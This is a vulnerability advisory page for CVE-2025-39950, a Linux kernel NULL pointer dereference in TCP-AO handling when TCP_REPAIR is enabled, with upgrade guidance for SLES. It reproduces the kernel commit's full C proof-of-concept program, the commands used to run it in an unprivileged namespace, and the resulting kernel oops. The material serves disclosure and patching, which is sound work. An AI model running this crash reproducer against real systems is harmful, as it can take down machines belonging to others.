Homepage

CVE-2025-39950 Affecting kernel-default-devel package, versions <6.12.0-160000.7.1

Severity

 Recommended
0.0
medium
0
10

Based on SUSE Linux Enterprise Server security rating.

Threat Intelligence

EPSS
0.02% (6th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-SLES1600-KERNELDEFAULTDEVEL-14377682
  • published11 Dec 2025
  • disclosed26 Nov 2025
Report a new vulnerability Found a mistake?

Introduced: 26 Nov 2025

NewCVE-2025-39950  (opens in a new tab)

How to fix?

Upgrade SLES:16.0.0 kernel-default-devel to version 6.12.0-160000.7.1 or higher.

NVD Description

Note: Versions mentioned in the description apply only to the upstream kernel-default-devel package and not the kernel-default-devel package as distributed by SLES. See How to fix? for SLES:16.0.0 relevant fixed versions and status.

In the Linux kernel, the following vulnerability has been resolved:

net/tcp: Fix a NULL pointer dereference when using TCP-AO with TCP_REPAIR

A NULL pointer dereference can occur in tcp_ao_finish_connect() during a connect() system call on a socket with a TCP-AO key added and TCP_REPAIR enabled.

The function is called with skb being NULL and attempts to dereference it on tcp_hdr(skb)->seq without a prior skb validation.

Fix this by checking if skb is NULL before dereferencing it.

The commentary is taken from bpf_skops_established(), which is also called in the same flow. Unlike the function being patched, bpf_skops_established() validates the skb before dereferencing it.

int main(void){ struct sockaddr_in sockaddr; struct tcp_ao_add tcp_ao; int sk; int one = 1;

memset(&amp;sockaddr,&#39;\0&#39;,sizeof(sockaddr));
memset(&amp;tcp_ao,&#39;\0&#39;,sizeof(tcp_ao));


sk = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);


sockaddr.sin_family = AF_INET;


memcpy(tcp_ao.alg_name,&#34;cmac(aes128)&#34;,12);
memcpy(tcp_ao.key,&#34;ABCDEFGHABCDEFGH&#34;,16);
tcp_ao.keylen = 16;


memcpy(&amp;tcp_ao.addr,&amp;sockaddr,sizeof(sockaddr));


setsockopt(sk, IPPROTO_TCP, TCP_AO_ADD_KEY, &amp;tcp_ao,
sizeof(tcp_ao));
setsockopt(sk, IPPROTO_TCP, TCP_REPAIR, &amp;one, sizeof(one));


sockaddr.sin_family = AF_INET;
sockaddr.sin_port = htobe16(123);


inet_aton(&#34;127.0.0.1&#34;, &amp;sockaddr.sin_addr);


connect(sk,(struct sockaddr *)&amp;sockaddr,sizeof(sockaddr));

return 0; }

$ gcc tcp-ao-nullptr.c -o tcp-ao-nullptr -Wall $ unshare -Urn

BUG: kernel NULL pointer dereference, address: 00000000000000b6 PGD 1f648d067 P4D 1f648d067 PUD 1982e8067 PMD 0 Oops: Oops: 0000 [#1] SMP NOPTI Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 11/12/2020 RIP: 0010:tcp_ao_finish_connect (net/ipv4/tcp_ao.c:1182)

CVSS Base Scores

version 3.1